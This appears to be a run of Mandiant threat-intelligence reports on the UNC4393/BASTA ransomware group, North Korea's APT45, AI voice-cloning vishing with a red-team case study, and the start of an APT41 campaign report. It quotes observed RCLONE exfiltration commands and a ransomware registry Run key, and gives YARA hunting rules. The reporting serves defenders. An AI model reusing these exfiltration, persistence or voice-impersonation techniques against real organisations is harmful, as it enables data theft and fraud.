UNC4393's goal is to gather as much data as quickly as possible followed by exfiltration of the collected data to engage in multi-faceted extortion, leveraging the threat of data leakage to pressure victims into paying ransom demands. UNC4393 is often observed utilizing RCLONE for its data theft; RCLONE is a command-line program that allows the user to manage files on a variety of cloud storage platforms.

In order to obscure its activity, UNC4393 commonly masquerades the RCLONE binaries as programs that could appear at first glance to be legitimate system utilities:

C:\Windows\system32\cmd.exe /C taskenq.exe --config ssd.conf --max-size 99M --max-age 3y --transfers=99 --no-check-certificate copy "\\<REDACTED>\<REDACTED>$" <REMOTE SHARE> C:\Windows\system32\cmd.exe /C tasksend.exe --config cfg.conf --max-size 99M --max-age 7y --transfers=199 --no-check-certificate copy "\\<REDACTED>\M$\Users" <REMOTE SHARE>

Figure 6: Example RCLONE exfiltration commands

Initially, UNC4393 employed a more manual approach to deploying its encryptor. This included manual invocation of the BASTA binary directly from C:\Windows or C:\Users\Public. The group had been seen to utilize registry run keys to launch the binary as well.

<HIVE>\Software\Microsoft\Windows\CurrentVersion\Run\Skype --> C:\Windows\Basta_Ransomware.exe

Figure 7: Windows Registry key to run BASTA ransomware

In late 2023, UNC4393 began leveraging KNOTROCK, a custom .NET-based utility that creates a symbolic link on network shares specified in a local text file. After creating each symbolic link, KNOTROCK executes a BASTA ransomware executable and provides it with the path to the newly created symbolic link. Ultimately, KNOTROCK serves a dual purpose: it assists the existing BASTA encryptor by providing network communication capabilities and streamlines operations by proactively mapping out viable network paths, thereby reducing deployment time and accelerating the encryption process. KNOTROCK represents an evolution in UNC4393's operations, augmenting its capabilities by expediting the encryption process to enable larger-scale attacks and significantly decreasing its time to ransom.

Interestingly, on two separate occasions this group gave up entirely when attempting to encrypt its target. If the execution of its ransomware binary fails, Mandiant has observed that UNC4393 will effectively stop attempting to ransom and cease its operation. Taking this fact into totality with the number of victims that UNC4393 purports on its data leak site, it is plausible that the number of ongoing intrusions the group is actively working at one time necessitates shifting priorities to other victims when encountering friction. That being said, an unsuccessful ransom attempt does not ensure future immunity; Mandiant has observed UNC4393 retargeting previously compromised environments months after a failed BASTA deployment. 

Conclusion

UNC4393 has proven to be an adaptable and prolific threat actor in the cyber crime landscape. Its evolution from opportunistic QAKBOT infections to strategic partnerships with initial access brokers demonstrates a willingness to diversify and optimize its operations. Notably, while BASTA has been in the top DLSs that we track, the number of victims has steadily declined in recent months (Figure 8). Although July is not yet over, with less than a week remaining, any significant change to the downward trend seems unlikely. It is plausible that this decline reflects difficulties in obtaining a reliable stream of initial access. 

While its early reliance on readily available tools has shifted towards custom malware development, its core focus on efficient data exfiltration and multi-faceted extortion remains constant. Further, the transition from manual ransomware deployment to the development of KNOTROCK exemplifies UNC4393's commitment to improving its tactics. This, combined with its swift operational tempo, poses a significant challenge to defenders. The cluster's avoidance of healthcare institutions and its global reach further underscore its calculated and financially driven approach.

As the threat landscape continues to evolve, understanding the intricacies of UNC4393's operations becomes crucial for organizations seeking to protect themselves. UNC4393's ability to adapt, innovate, and leverage various tools and techniques highlights the need for proactive and robust security measures.

Figure 8: Identified listings on the BASTA DLS

Campaign Tracking

Mandiant has tracked three distinct campaigns related to UNC4393 operations since 2022, with additional indicators and context available to Google Threat Intelligence customers:

Campaign 22-053

In November 2022, Mandiant identified multiple intrusions attributed to UNC4393 where BASTA ransomware was deployed, and initial network access was obtained via malicious emails distributed by UNC2633 delivering QAKBOT. After obtaining access from UNC2633, UNC4393 has deployed various tools, including Cobalt Strike BEACON and the SYSTEMBC tunneler. UNC4393 has then exfiltrated data using Rclone and deployed BASTA ransomware. Notably, in some cases UNC4393 has monetized access within a few days of obtaining access to the environment.

Our findings are consistent with Mandiant’s prior observation that actors currently distributing BASTA show notable TTP overlaps with intrusion operators that were previously affiliated with the historical TRICKBOT and CONTI ecosystems. 

Campaign 23-053

Since at least early September 2023, UNC4393 has leveraged UNC2500 DARKGATE infections to obtain access to victim networks for BASTA ransomware operations. In at least one case, UNC4393 assumed control of a host within several hours of the initial DARKGATE deployment, then proceeded to deploy a Domain Name System (DNS)-based Cobalt Strike BEACON payload to establish a foothold. UNC4393 used PsExec and Windows Admin Shares to move across the network environment, deployed the RCLONE command-line utility to exfiltrate data, then manually launched a BASTA payload stored on a compromised Windows server. Historically, UNC4393 has leveraged access obtained by distribution threat clusters, including UNC2500 and UNC2633, to deploy BASTA ransomware and to engage in data theft extortion.

Campaign 24-018

Beginning in late February 2024, UNC4393 was observed conducting data theft extortion operations and deploying BASTA ransomware. In cases where the initial entry vector was determined, threat actors used stolen credentials or relied on brute-force methods to authenticate with externally facing network appliances or servers. After gaining access, UNC4393 leveraged both proprietary and publicly available malware to deploy other code families, establish a foothold, and conduct network reconnaissance. During intrusions, malware such as BEACON, COGSCAN, KNOTWRAP, KNOTROCK, PORTYARD, POWERSPLOIT, and POWERVIEW were used. 

Subsequent access to other internal systems and/or lateral movement were primarily achieved through remote services, including Windows administrative shares, RDP, and Server Message Block (SMB). In certain cases, prior to the deployment of ransomware, threat actors collected sensitive data and exfiltrated it via RCLONE for use in later extortion attempts. The first appearance of BASTA samples in the affected networks ranged from a few days to weeks after the initial access, impacting Windows and ESXi systems. While UNC4393's TTPs and monetization methods remain relatively consistent from previous operations, the group appears to be diversifying its initial access sources.

Detection and Mitigation

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included a subset of these indicators of compromise (IOCs) in this post, and in a publicly available GTI Collection.

Acknowledgements

We would like to acknowledge the contributions of Paul Tarter, and the other members of the FLARE team, for assisting with our understanding of the aforementioned malware. Additionally, we would like to thank the efforts of the Mandiant Research Team in assisting with our understanding of UNC4393.

YARA Rules BASTA rule M_Ransomware_BASTA_1 { meta: author = "Mandiant” description = "This rule is for hunting purposes only and has not been tested to run in a production environment." md5 = "3f400f30415941348af21d515a2fc6a3" platforms = "Windows" malware_family = "BASTA" strings: $domain = "aazsbsgya565vlu2c6bzy6yfiebkcbtvvcytvolt 33s77xypi7nypxyd" $keyiso = "keyiso" nocase wide $note = "Your company id for log in" condition: uint16(0) == 0x5A4D and (all of them) } rule M_Ransomware_BASTA_2 { meta: author = "Mandiant" description = "This rule is for hunting purposes only and has not been tested to run in a production environment." platforms = "Windows" malware_family = "BASTA" strings: $str1 = "ATTENTION!" $str2 = "https://basta" $str3 = "network has been breached" $str5 = "instructions_read_me.txt" $str6 = "Do not modify, rename or delete files" condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of them } rule M_Ransomware_BASTA_3 { meta: author = "Mandiant" description = "This rule is for hunting purposes only and has not been tested to run in a production environment." platforms = "Windows" malware_family = "BASTA" strings: $code1 = {8B 86 [4]2B 46 ?? 40 0F AF 86 [4]89 86 [4]8B 46 ?? 31 04 0F} $code2 = {8B 0? 0? A1 [4]33 88 [4]8B 80 [4]89 0? 0? } $code3 = {C1 E? 10 [0-6] 88 ?? 0? 8B ?? FF 4? ?? [5-9] C1 E? 08 [0-9]88 ?? 0? [0-5] FF 4? ?? 8B 4? ?? 8B 8? [4] 88 1C 01} $decr1 = {F7 74 8E ?? 0F B6 15 [4] 33 C2 A2} $decr2 = {33 44 0A ?? B9 [4]D1 E1 8B 55 ?? 89 44 0A} $decr3 = {2B 0D [4]81 F1 [4]33 88 [4]BA [4]6B C2 00 89 88} condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (2 of ($code*) or all of ($decr*)) } KNOTWRAP rule M_Dropper_KNOTWRAP_1 { meta: author = "Mandiant" description = "This rule is for hunting purposes only and has not been tested to run in a production environment." md5 = "56c1a45c762a29fe6080788f85e6cfc3" platforms = "Windows" malware_family = "KNOTWRAP" strings: $hex_asm_snippet_a = { B9 18 01 00 00 2? F8 } $hex_asm_snippet_b = { 84 C? (7?|E?) [0-4] 32 D? C1 C2 08 } $hex_asm_snippet_c = { 25 FF 0F 00 00 03 4? 08 03 C? 29 1? } $hex_asm_snippet_d = { 0F BA F0 1F (7?|E?) [0-4] 03 4? 08 8D 4? 02 5? 5? FF 55 } condition: all of them } rule M_Dropper_KNOTWRAP_2 { meta: author = "Mandiant" description = "This rule is for hunting purposes only and has not been tested to run in a production environment." platforms = "Windows" malware_family = "KNOTWRAP" strings: $str1 = "Executable (*.exe)|*.exe|Command (*.com)|*.com|Information (*.pdf)|*.pdf|Batch (*.bat)|*.bat|All Files (*.*)|*.*||" wide $str2 = "Default Menu=Default application menu. Appears when no documents are open." wide $str3 = "All CommandsMAll your changes will be lost!" wide $str4 = "Windows sockets initialization failed." wide $str5 = "TextMining" wide $str6 = "mailto:[email protected]" wide $api1 = "[CryptoAPI]" wide $api2 = "CryptDecrypt:" wide $api3 = "CryptDeriveKey:" wide $api4 = "CryptHashData:" wide $api5 = "CryptCreateHash:" wide $api6 = "CryptAcquireContext:" wide $api7 = "CryptEncrypt:"wide condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of them } KNOTROCK rule M_Utility_KNOTROCK_1 { meta: author = "Mandiant" description = "This rule is for hunting purposes only and has not been tested to run in a production environment." md5 = "b2af1cd157221f240ce8f8fa88bf6d44" platforms = "Windows" malware_family = "KNOTROCK" strings: $s1 = "Specify path to shares list in 1st argument. Specify locker path in 2nd argument" wide fullword $s2 = "(like C:\\Windows\\locker.exe)" wide fullword $s3 = "-forcepath" wide fullword $s4 = "-nomutex" wide fullword $c1 = "lpSymlinkFileName" fullword $c2 = "lpTargetFileName" fullword $c3 = "CreateSymbolicLink" fullword $marker1 = "$7d7b40c2-b763-4388-ac13-79711209439b" fullword $marker2 = "C:\\Users\\cdsf\\source\\repos\\LinkShares\\ LinkShares\\obj\\Release\\LinkShares.pdb" fullword condition: (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and ((3 of ($s*) and all of ($c*) ) or any of ($marker*)) } COGSCAN rule M_Recon_COGSCAN_1 { meta: author = "Mandiant" description = "This rule is for hunting purposes only and has not been tested to run in a production environment." family = "COGSCAN" md5 = "d4fd61c1bb582b77a87259bcd44178d4" platform = "Windows" strings: $str_format = "{0,-20}|{1,-10}|{2,-10}|{3,-20}|{4, -50}|{5, -15}| {6, -7}|{7, -10}|{8, -10}" wide fullword $str_param1 = "PcName" wide fullword $str_param2 = "Ping?" wide fullword $str_param3 = "135(rpc)" wide fullword $str_param4 = "OsName" wide fullword $str_param5 = "LastKb" wide fullword $str_param6 ="Site" wide fullword $str_func1 = "CheckForZLAndWC" fullword $str_func2 = "GetTypeFromProgID" fullword $str_func3 = "CheckForPN" fullword $str_func4 = "TryGetOsName" fullword $str_func5 = "TryPrepare" fullword $str_func6 = "CustomLDAP" fullword $file1 = "ldap.txt" wide fullword $file2 = "c:\\users\\public\\pc.txt" wide fullword nocase $file3 = "c:\\users\\public\\online.txt" wide fullword nocase $file4 = "_sorted.txt" wide fullword $file5 = "Take your file: online.txt" wide fullword $file6 = "Take sorted file: sorted.txt" wide fullword $arg1 = "-customldap" wide fullword $arg2 = "-pingtimeout" wide fullword $arg3 = "-offlineresolve" wide fullword $arg4 = "-autoruninfo" wide fullword $arg5 = "-detectsites" wide fullword $arg6 = "-bypassping" wide fullword $arg7 = "-fromfile" wide fullword $arg8 = "-printcountonly" wide fullword $marker1 = "---UNKNOWN---" wide fullword $marker2 = "---DC---" wide fullword $marker3 = "---SERVERS---" wide fullword $marker4 = "---USER PC---" wide fullword condition: (uint16(0)==0x5A4D and uint32(uint32(0x3C))==0x00004550) and (4 of ($str*) and 2 of ($file*) and 3 of ($arg*) and 1 of ($marker*)) } PORTYARD rule M_Tunneler_PORTYARD_1 { meta: description = "This rule is for hunting purposes only and has not been tested to run in a production environment." family = "portyard" md5 = "25dd591a343e351fd72b6278ebf8197e" platform = "Windows" strings: $tunnel_commands_validate = {41 B? 04 00 00 00 [0-16] 41 B9 08 00 00 00 [0-24] FF 15 [4-64] 0F B6 45 ?? 3C 01} $intial_connection_validate = {41 B? A0 1F 00 00 [0-32] ff 15 [4-64] 48 0F ?? ?? 01 [0-32] 48 85 C? [0-64] 40 38 ?? ?? 02 [0-8] 48 FF C? 48 3B C? [2-64] C7 45 ?? 05 00 [1-16] FF 15} condition: all of them } DAWNCRY rule M_Dropper_DAWNCRY_1 { meta: author = "Mandiant" description = "This rule is for hunting purposes only and has not been tested to run in a production environment." family = "DAWNCRY" md5 = "a9447a25ab79eed2942997daced4eb3e" platform = "Windows" strings: $stackstring_xor_key = {C6 85 [4] 65 C6 85 [4] 69 C6 85 [4] 55 C6 85 [4] 56 C6 85 [4] 79 C6 85 [4] 72 C6 85 [4] 79 C6 85 [4] 67 C6 85 [4] 6C C6 85 [4] 3E C6 85 [4] 58 C6 85 [4] 45 C6 85 [4] 2A C6 85 [4] 5E C6 85 [4] 71 C6 85 [4] 78 C6 85 [4] 45 C6 85 [4] 59 C6 85 [4] 69 C6 85 [4] 49 C6 85 [4] 56 C6 85 [4] 56 C6 85 [4] 61 C6 85 [4] 38 C6 85 [4] 34 C6 85 [4] 4C C6 85 [4] 00} $part_of_xor_decrypt = {48 01 ?? 0F B6 84 [5] 44 31 C8 41 88 ?? 48 83 85 [4] 01 48 8B [5] 48 39 [5] 0F 82 } $peb_ldr_data = {48 31 C0 65 48 8B 04 25 60 00 00 00 48 8B 40 18 48 8B 40 20 48 8B 00 48 8B 40 20 C3} $hardcoded_ntAllocateVirtualMemory_hash = {BA E2 A5 92 6D 48 89 C1 E8} condition: (uint16(0)==0x5A4D and uint32(uint32(0x3C))==0x00004550) and 3 of them }

Written by: Taylor Long, Jeff Johnson, Alice Revelli, Fred Plan, Michael Barnhart

 

Executive Summary

• APT45 is a long-running, moderately sophisticated North Korean cyber operator that has carried out espionage campaigns as early as 2009.
• APT45 has gradually expanded into financially-motivated operations, and the group’s suspected development and deployment of ransomware sets it apart from other North Korean operators. 
• APT45 and activity clusters suspected of being linked to the group are strongly associated with a distinct genealogy of malware families separate from peer North Korean operators like TEMP.Hermit and APT43. 
• Among the groups assessed to operate from the Democratic People's Republic of Korea (DPRK), APT45 has been the most frequently observed targeting critical infrastructure.

Overview

Mandiant assesses with high confidence that APT45 is a moderately sophisticated cyber operator that supports the interests of the DPRK. Since at least 2009, APT45 has carried out a range of cyber operations aligned with the shifting geopolitical interests of the North Korean state. Although the group's earliest observed activities consisted of espionage campaigns against government agencies and defense industries, APT45 has expanded its remit to financially-motivated operations, including targeting of the financial vertical; we also assess with moderate confidence that APT45 has engaged in the development of ransomware. Additionally, while multiple DPRK-nexus groups focused on healthcare and pharmaceuticals during the initial stages of the COVID-19 pandemic, APT45 has continued to target this vertical longer than other groups, suggesting an ongoing mandate to collect related information. Separately, the group has conducted operations against nuclear-related entities, underscoring its role in supporting DPRK priorities.

Shifts in Targeting and Expanding Operations

Similar to other cyber threat activity attributed to North Korea-nexus groups, shifts in APT45 operations have reflected the DPRK's changing priorities. Malware samples indicate the group was active as early as 2009, although an observed focus on government agencies and the defense industry was observed beginning in 2017. Identified activity in 2019 aligned with Pyongyang’s continued interest in nuclear issues and energy. Although it is not clear if financially-motivated operations are a focus of APT45’s current mandate, the group is distinct from other North Korean operators in its suspected interest in ransomware. Given available information, it is possible that APT45 is carrying out financially-motivated cybercrime not only in support of its own operations but to generate funds for other North Korean state priorities.

Financial Sector

Like other North Korea-nexus actors, APT45 targeting includes the financial sector. In 2016, APT45 likely leveraged RIFLE to target a South Korean financial organization. Direct targeting continued through at least 2021 when the group was identified spear-phishing a South Asian bank. 

Critical Infrastructure

In 2019, APT45 directly targeted nuclear research facilities and nuclear power plants such as the Kudankulam Nuclear Power Plant in India, marking one of the few publicly known instances of North Korean cyber operations targeting critical infrastructure.

Intellectual Property Theft to Address Domestic Deficiencies

In September 2020, APT45 targeted the crop science division of a multinational corporation, possibly due to the exacerbation of deteriorating agricultural production following the closure of border trade related to COVID-19 contagion fears. 

Multiple North Korea-nexus operators, including APT45, focused on the healthcare and pharmaceutical verticals during a suspected COVID-19 outbreak in North Korea in 2021.

Activity observed from APT45 indicating continued interest in health-related research in 2023 suggests the continued assignment of resources to related targeting.

Potential Ransomware Use

Mandiant tracks several clusters of activity where we suspect, but cannot confirm APT45 attribution. Public reporting has claimed that these clusters have used ransomware, possibly to fund their operations or generate revenue for the regime. While Mandiant cannot confirm this ransomware use by APT45, it is plausible as they have employed diverse schemes to raise money.

• In 2022, the U.S. Cybersecurity and Infrastructure Security Agency reported on North Korean state-sponsored actors' use of MAUI ransomware to target the healthcare and public health sectors.
• In 2021, Kaspersky reported on the identification of ransomware tracked by Mandiant as SHATTEREDGLASS, which has been used by suspected APT45 clusters.

Figure 1: Countries targeted by APT45

Figure 2: Industries targeted by APT45

Malware

APT45 relies on a mix of publicly available tools such as 3PROXY, malware modified from publicly available malware such as ROGUEEYE, and custom malware families. Like most groups of DPRK activity, APT45 malware exhibits distinct shared characteristics over time, including the re-use of code, unique custom encoding, and passwords. APT45 leverages a library of malware tools which are relatively distinct from other North Korean activity clusters.

Figure 3: APT45 Malware Overlap

Attribution and Links to Other Tracked Operations

Mandiant assesses with high confidence that APT45 is a state-sponsored cyber operator conducting threat activity in support of the North Korean regime. We assess with moderate confidence that APT45 is attributable specifically to North Korea’s Reconnaissance General Bureau (RGB). 

Activity attributed to APT45 by Mandiant has been publicly reported as “Andariel”, "Onyx Sleet", “Stonefly”, and “Silent Chollima”. The group's activity is also frequently reported as linked to “Lazarus Group”.

Figure 4: Assessed structure of DPRK cyber operations in 2024

Looking Ahead

APT45 is one of North Korea’s longest running cyber operators, and the group’s activity mirrors the regime’s geopolitical priorities even as operations have shifted from classic cyber espionage against government and defense entities to include healthcare and crop science. Financially motivated activity occurring alongside intelligence collection has become a defining characteristic of North Korean cyber operations, and we expect APT45 to continue both missions. As the country has become reliant on its cyber operations as an instrument of national power, the operations carried out by APT45 and other North Korean cyber operators may reflect the changing priorities of the country’s leadership.

Acknowledgements

Special thanks to Mandiant Advanced Practices, Mandiant FLARE, Mandiant Validation, and FBI Kansas City.

Technical Annex: Attack Lifecycle

Figure 5: Attack Lifecycle

Technical Annex: APT45 Indicators of Compromise

A GTI Collection featuring APT45-related indicators of compromise is now available for registered users.

Written by: Emily Astranova, Pascal Issa

 

Executive Summary

• AI-powered voice cloning can now mimic human speech with uncanny precision, creating for more realistic phishing schemes. 
• According to news reports, scammers have leveraged voice cloning and deepfakes to steal over HK$200 million from an organization.
• Attackers can use AI-powered voice cloning in various phases of the attack lifecycle, including initial access, and lateral movement and privilege escalation.
• Mandiant's Red Team uses AI-powered voice spoofing to test defenses, demonstrating the effectiveness of this increasingly sophisticated attack technique.
• Organizations can take steps to defend against this threat by educating employees, and using source verification such as code words. 

Introduction

Last year, Mandiant published a blog post on threat actor use of generative AI, exploring how attackers were using generative AI (gen AI) in phishing campaigns and information operations (IO), notably to craft more convincing content such as images and videos. We also shared insights into attackers' use of large language models (LLMs) to develop malware. In the post, we emphasized that while attackers are interested in gen AI, use has remained relatively limited.

This post continues on that initial research, diving into some new AI tactics, techniques, and procedures (TTPs) and trends. We take a look at AI-powered voice spoofing, demonstrate how Mandiant red teams use it to test defenses, and provide security considerations to help stay ahead of the threat.

Growing AI-Powered Voice Spoofing Threat

Gone are the days of robotic scammers with barely decipherable scripts. AI-powered voice cloning can now mimic human speech with uncanny precision, injecting a potent dose of realism into phishing schemes. We are reading more stories on this threat in the news, such as the scammers that reportedly stole over HK$200 million from a company using voice cloning and deepfakes, and now the Mandiant Red Team has incorporated these TTPs when testing defenses. 

Brief Overview of Vishing

Unlike its traditionally email-based counterpart, vishing (voice phishing) uses a voice-based approach. Rather than sending out an email with the hopes of garnering clicks, threat actors will instead place phone calls directly to individuals in order to earn trust and manipulate emotions, often by creating a sense of urgency. 

Like traditional phishing, a threat actor's goal is to deceive individuals into divulging sensitive information, initiating malicious actions, or transferring funds using social engineering tactics. These deceptive calls often impersonate trustworthy entities such as banks, government agencies, or tech support, adding an extra layer of authenticity to the scam.

The rise of powerful AI tools such as text generators, image creators, and voice synthesizers has sparked a wave of open-source projects, making these technologies more accessible than ever before. This rapid development is putting the power of AI into the hands of a wider audience, fueling the potential for more convincing vishing attacks.

AI-Powered Voice Spoofing in the Attack Lifecycle

Modern voice cloning involves recording and processing audio and training a model. Training the model relies on a powerful combination of open-source libraries and algorithms, of which there are many popular choices today. When these initial steps are completed, attackers may take additional time to understand speech patterns of the individual being impersonated, and even write a script before conducting operations. This helps create an extra layer of authenticity, and the attack is more likely to be successful.

Next, attackers may use AI-powered voice spoofing in different stages of the attack lifecycle.

Initial Access

There are various ways a threat actor can gain initial access using a spoofed voice. Threat actors can impersonate executives, colleagues, or even IT support personnel to trick victims into revealing confidential information, granting remote access to systems, or transferring funds. The inherent trust associated with a familiar voice can be exploited to manipulate victims into taking actions they would not normally take, such as clicking on malicious links, downloading malware, or divulging sensitive data. Although voice-based trust systems are seldom used, AI-spoofed voices can also potentially bypass voice-based authentication systems used for multi-factor authentication or password resets, granting unauthorized access to critical accounts.

Lateral Movement and Privilege Escalation

Threat actors can leverage AI voice spoofing to hop from system to system, impersonating trusted individuals to manipulate their way to higher access levels. There are a few ways this may unfold.

One method of lateral movement is chaining impersonations. Imagine an attacker initially gaining access by impersonating a helpdesk employee. After establishing communication with a network administrator, the attacker could subtly record the administrator's voice during the interaction. This captured audio can then be used to train a new AI voice spoofing model, allowing the attacker to seamlessly impersonate the administrator and initiate communication with other unsuspecting targets within the network. This chaining of impersonations enables the attacker to move laterally, potentially gaining access to more sensitive systems and data.

Another method is during the initial access phase, threat actors might discover readily available voice recordings on a compromised host, such as voicemails, meeting recordings, or even training materials. These recordings can be leveraged to train AI voice-spoofing models, allowing the attacker to impersonate specific individuals within the organization without needing to interact with them directly. This can be particularly effective for targeting high-value individuals or bypassing systems that rely on voice biometrics for access control.

Mandiant Red Team Proactive Case Study

In late 2023, Mandiant conducted a controlled red team exercise with a client, using AI voice spoofing to gain initial access to their internal network. This case study highlights the effectiveness of this increasingly sophisticated attack technique.

The exercise began with obtaining client consent and crafting a custom realistic social engineering pretext. The Red Team opted to impersonate a member of the client's security team, requiring a natural voice sample. After reviewing the pretext with the client, the client provided explicit permission to use their voice for this exercise.

Next, we obtained the necessary audio data to train a model, and achieved a passable level of realism. Open-source intelligence (OSINT) played a crucial role in the next phase. By gathering employee data (job titles, locations, phone numbers), the Red Team identified potential targets most likely to recognize the impersonated voice and possess the necessary permissions for our objectives. With a curated target list, the team initiated spoofed calls via VoIP services and number spoofing.

After facing voicemail greetings and other initial hurdles, the first unsuspecting victim answered with a trusting "Hey boss, what's up?". The Red Team had reached a security administrator who reported to the person whose voice was spoofed. Leveraging the pretext of a "VPN client misconfiguration," the Red Team exploited the opportune timing of a recent global outage impacting the client's VPN provider. This carefully chosen scenario instilled a sense of urgency and increased the victim's susceptibility to our instructions.

Due to the trust in the voice on the phone, the victim bypassed security prompts from both Microsoft Edge and Windows Defender SmartScreen, unknowingly downloading and executing a pre-prepared malicious payload onto their workstation. The successful detonation of the payload marked the completion of the exercise, showcasing the alarming ease with which AI voice spoofing can facilitate the breach of an organization.

Security Considerations

This type of exploitation is social in nature, and currently technical detection controls are limited. Available mitigations center around three major principles: awareness, source verification, and future technical considerations.

Awareness

Educate employees, particularly those who control money and access, on the existence and methodologies of AI vishing attacks. Consider adding AI enhanced threats to security awareness training. With such effective and accessible mimicry available to threat actors, everyone should now adopt a healthy dose of skepticism when dealing with phone calls, especially if they fall under one or more of the following cases:

• The caller is saying things that sound too good to be true.
• The call is from an untrusted number/entity.
• The caller tries to enforce questionable authority.
• The caller is out of character for the source.

Employees in trusted positions should be extremely wary of high urgency calls that demand immediate action, especially when the caller asks or gives financial or access oriented information, such as requesting a one-time password (OTP). Employees should be empowered to hang up and report suspicious calls, especially if they believe AI vishing is involved. It is likely another employee is about to receive the same attack.

Source Verification

When possible, cross-reference the information with trusted sources. This includes hanging up and calling back at a number previously validated for the source. The caller can be asked to send a text message from a previously validated number or ask them to send an email or an enterprise chat message.

Train employees to spot audio inconsistencies, such as sudden variation of background noise, which could be a symptom of the threat actor not spending enough time cleaning the audio. Look for unusual speech patterns, like a completely different vernacular than what the source typically uses. Watch for unnatural inflections, fillers not commonly used by the source, strange clicks, pauses or abnormal repetition. Pay attention to voice timbre (tone) and cadence as well.

Establish code words for executives and critical staff that deal with sensitive and/or financial information. Do this out of band so there is no trace within the enterprise to limit exposure in case of a breach. The code words can then be used to validate individuals in case of doubt.

If possible, let unknown numbers go to voicemail. Apply the same vigilance to voice calls that you would otherwise apply to emails. Report any suspicious calls for wider awareness.

Future Technical Considerations

Today, organizations can, at best, implement traditional security measures to protect audio conversations within the organization, like using separate networks for VoIP channels as well as implementing authentication and transmission encryption for the same. However, this does not resolve attacks made against employees' personal phones.

Going forward, organizations should consider protecting all audio assets, implementing technologies such as digital watermarking that are subtle enough to be imperceptible to the human ear, but easily detected by AI technologies.

Eventually, mobile device management tools will offer technologies to help verify callers. In the meantime, organizations should consider requiring all sensitive conversations to occur over enterprise chat channels, where strong authentication is required, and identities are not easily spoofed.

Research and tools are actively being developed to help in detecting deepfakes. While they have inconsistent accuracy today, they can still provide value in identifying deepfakes in voicemail or offline voice notes. The detection capabilities will improve over time and eventually be adopted into supportable enterprise tooling. For additional reading, consider the active research going into real-time detection, such as DF-Captcha, which suggests a simple application to queue human prompts implemented using challenge response to validate the identity of the party on the other line.

Conclusion

In this blog post, we explored how modern AI tools can help create more convincing vishing attacks. The alarming success of Mandiant's vishing underscores the urgent need for heightened security measures against AI voice-spoofing attacks. While technology offers powerful tools for both attackers and defenders, the human element remains the critical vulnerability. The case study we shared should serve as a wake-up call, urging organizations and individuals alike to take proactive steps.

Mandiant started leveraging AI voice-spoofing attacks in its more complex Red Team Assessments and Social Engineering Assessments to demonstrate the impact such an attack could have on an organization. As threat actors' use of this technique increases in frequency, it is imperative that defenders plan and take precautions.

Written by: Mike Stokkel, Pierre Gerlings, Renato Fontana, Luis Rocha, Jared Wilson, Stephen Eckels, Jonathan Lepore

 

Executive Summary

• In collaboration with Google’s Threat Analysis Group (TAG), Mandiant has observed a sustained campaign by the advanced persistent threat group APT41 targeting and successfully compromising multiple organizations operating within the global shipping and logistics, media and entertainment, technology, and automotive sectors. The majority of organizations were operating in Italy, Spain, Taiwan, Thailand, Turkey, and the United Kingdom.
• APT41 successfully infiltrated and maintained prolonged, unauthorized access to numerous victims' networks since 2023, enabling them to extract sensitive data over an extended period. 
• APT41 used a combination of ANTSWORD and BLUEBEAM web shells for the execution of DUSTPAN to execute BEACON backdoor for command-and-control communication. Later in the intrusion, APT41 leveraged DUSTTRAP, which would lead to hands-on keyboard activity. APT41 used publicly available tools SQLULDR2 for copying data from databases and PINEGROVE to exfiltrate data to Microsoft OneDrive.

Overview

Recently, Mandiant became aware of an APT41 intrusion where the malicious actor deployed a combination of ANTSWORD and BLUEBEAM web shells for persistence. These web shells were identified on a Tomcat Apache Manager server and active since at least 2023. APT41 utilized these web shells to execute certutil.exe to download the DUSTPAN dropper to stealthily load BEACON. 

As the APT41 intrusion progressed, the group escalated its tactics by deploying the DUSTTRAP dropper. Upon execution, DUSTTRAP would decrypt a malicious payload and execute it in memory, leaving minimal forensic traces. The decrypted payload was designed to establish communication channels with either APT41-controlled infrastructure for command and control or, in some instances, with a compromised Google Workspace account, further blending its malicious activities with legitimate traffic. The affected Google Workspace accounts have been successfully remediated to prevent further unauthorized access.

Furthermore, APT41 leveraged SQLULDR2 to export data from Oracle Databases, and used PINEGROVE to systematically and efficiently exfiltrate large volumes of sensitive data from the compromised networks, transferring to OneDrive to enable exfiltration and subsequent analysis.

Figure 1: Attack path diagram of observed APT41 attack

Victimology

In collaboration with Google's TAG, Mandiant notified multiple additional organizations across various sectors that have been compromised by this campaign. The organizations impacted by this campaign originated from a diverse range of countries spanning multiple continents, including:

• Italy
• Spain
• Taiwan
• Thailand
• Turkey
• United Kingdom

An analysis of victim organizations within specific sectors reveals a notable geographic distribution. Nearly all targeted organizations operating in the shipping and logistics sector were located in Europe and the Middle East, with a single exception. In contrast, all affected organizations within the media and entertainment sector were located in Asia.

A significant portion of the victimized organizations within the shipping and logistics sector maintained operations across multiple continents, often as subsidiaries or affiliates of larger multinational corporations operating within the same industry.

Mandiant has detected reconnaissance activity directed towards similar organizations operating within other countries such as Singapore. At the time of the publication, neither Mandiant nor Google TAG have any indicators of these organizations being compromised by APT41, but it could potentially indicate an expanded scope of targeting.

Figure 2: Sectors impacted by APT41’s DUSTTRAP campaigns in 2024

APT41

APT41 is a prolific cyber threat group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity that may be outside of state control.  The group's financially motivated intrusions have primarily targeted the video game industry, involving activities such as stealing source code and digital certificates, manipulating virtual currencies, and attempting to deploy ransomware. APT41 is unique among tracked China-based actors in that it utilizes non-public malware typically reserved for espionage operations in activities that appear to fall outside the scope of state-sponsored missions.

The group's espionage operations have targeted sectors such as healthcare, high-tech, and telecommunications, and other areas of economic interest. APT41 has frequently used software supply chain compromises, where they inject malicious code into legitimate software updates. They also employ advanced techniques like the use of bootkits and compromised digital certificates. The group's consistent targeting of the video game industry for personal gain is believed to have contributed to the development of tactics later used in their espionage operations. 

For additional information on APT41, refer to the following links:

• Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments
• APT41: A Dual Espionage and Cyber Crime Operation

Threat Activity DUSTPAN and BEACON

DUSTPAN is an in-memory dropper written in C/C++ that decrypts and executes an embedded payload. Different variations of DUSTPAN may also load an external payload off disk from a hard-coded file path encrypted in the Portable Executable (PE) file. DUSTPAN may be configured to inject the decrypted payload into another process or create a new thread and execute it within its own process space. 

